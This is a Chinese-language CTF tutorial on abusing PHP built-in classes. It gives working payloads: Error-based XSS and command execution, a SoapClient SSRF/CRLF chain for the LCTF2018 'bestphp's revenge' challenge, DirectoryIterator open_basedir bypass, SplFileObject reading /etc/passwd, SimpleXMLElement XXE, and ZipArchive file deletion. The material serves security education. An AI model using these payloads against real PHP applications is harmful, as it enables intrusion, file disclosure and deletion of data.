PHP 常见原生类
Error/Exception类
SoapClient类
DirectoryIterator/FilesystemIterator类
SplFileObject类
SimpleXMLElement类
ZipArchive类
1. Error/Exception类的利用 🔗
Error XSS:
<?php
echo unserialize($_GET['cmd']);
?>
使用Error类可以用来弹xss:
<?php
$a=new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));
?>
得到:
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cerror.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
将以上字符串赋给cmd就可以看到弹框:
Error 命令执行
<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>
此时通过传?a=Error&b=phpinfo
就可以执行命令
2. SoapClient类的使用 🔗
SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。php中的soapClient类可以创建soap数据报文,与wsdl接口进行交互,而WSDL文件是描述SOAP服务的接口。
SoapClient类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
示例:
$a = new SoapClient(null,array('location'=>"http://127.0.0.1/flag.php",'uri'=>"123"));
echo urlencode(serialize($a));
bestphp‘revenge
知识点:
-
session反序列化
-
原生类SoapClient的SSRF
-
extract()变量覆盖
-
CRLF
题目打开看到源码如下:
dirsearch扫描发现flag.php
于是访问:
提示要localhost,暗示ssrf,又有session,说明要用到session反序列化,利用php原生类实现ssrf。
现在来分析一下题目源码:
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
思路:
-
$b虽然已经给了初值,但能利用这行
call_user_func($_GET['f'], $_POST);
实现值覆盖。 -
利用session_start()指定php_serialize做序列化引擎,因为反序列化默认引擎是php,将ssrf序列化内容前加
|
后通过name就可以存储我们构造的session。 -
再看到这行
call_user_func($b, $a);
想到可以让$b覆盖为call_user_func
,此时就变成call_user_func(call_user_func,array($_session,‘welcome_to_the_lctf2018’));
,$session这个对象会去调用welcome_to_the_lctf2018
这个不存在方法,触发call,服务器就会携带我们设置的cookie去访问flag.php。
构造ssrf内容:
<?php
$target = 'http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location'=>$target,
'user_agent'=>"npfs\r\nCookie:PHPSESSID=123456\r\n",
'uri'=>"http://127.0.0.1/"));
$se = serialize($b);
echo "|" . urlencode($se);
?>
浏览器打开得到如下字符串:
|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
指定序列化引擎:
利用extract函数覆盖b的值并修改cookie即可:
3. DirectoryIterator/FilesystemIterator类的使用 🔗
内置类的__toString方法可以获取字符串形式的文件名,再结合glob://
或file://
协议,即可绕过open_basedir,实现目录遍历
示例:
<?php
highlight_file(__file__);
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
echo $a;
这样只能匹配一个文件,如果想遍历全部文件:
<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo ($f->__toString().'<br>');
}
payload一句话形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
FilesystemIterator类继承于DirectoryIterator类,所以两者作用和用法基本相同,区别在于FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名:
4. SplFileObject类 🔗
读取文件的一行:
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;
对每一行进行遍历:
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
5. SimpleXMLElement类的使用 🔗
SimpleXMLElement 是PHP中处理XML的一种简便方式,适合处理简单的XML文档和进行基本的操作。
XXE(XML External Entity)攻击
由于SimpleXMLElement 类在处理XML数据时可能会加载外部实体,如果应用程序没有正确配置或过滤XML输入,攻击者就可以利用这一点来执行XXE攻击。
官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:
第一个参数data就是我们自己设置的payload的url地址,即用于引入的外部实体的url,设置第三个参数为true
可以进行远程xml文件载入,实现xxe攻击。
6. ZipArchive类的使用 🔗
ZipArchive类可以对文件进行压缩和解压
以下一些常见的类方法:
ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包以供读取、写入或创建
ZipArchive::deleteIndex:删除压缩包中的某一个文件,
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除
重点看open
方法:
ZipArchive::open ( string $filename , int $flags ) : mixed
string $filename:表示要打开的 ZIP 文件的路径和文件名。
int $flags:第二个参数类型为整数,用于指定打开 ZIP 文件时使用的模式。这个参数可以是一个或多个 ZipArchive 类中定义的常量的组合:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置 flags 参数的值为 ZipArchive::OVERWRITE
的话,可以把指定文件删除。跟进方法可以看到 const OVERWRITE = 8,也就是将 OVERWRITE 定义为了常量8,我们在调用时也可以直接将 $flags 赋值为8。
也就是说我们可以利用 ZipArchive 原生类调用 open 方法删除目标主机上的文件:
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
// ZipArchive::OVERWRITE: 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt
例题可以看这道:
https://blog.csdn.net/jvkyvly/article/details/115052002
参考:
https://drun1baby.top/2023/04/11/PHP-原生类学习/#0x07-使用-ZipArchive-类来删除文件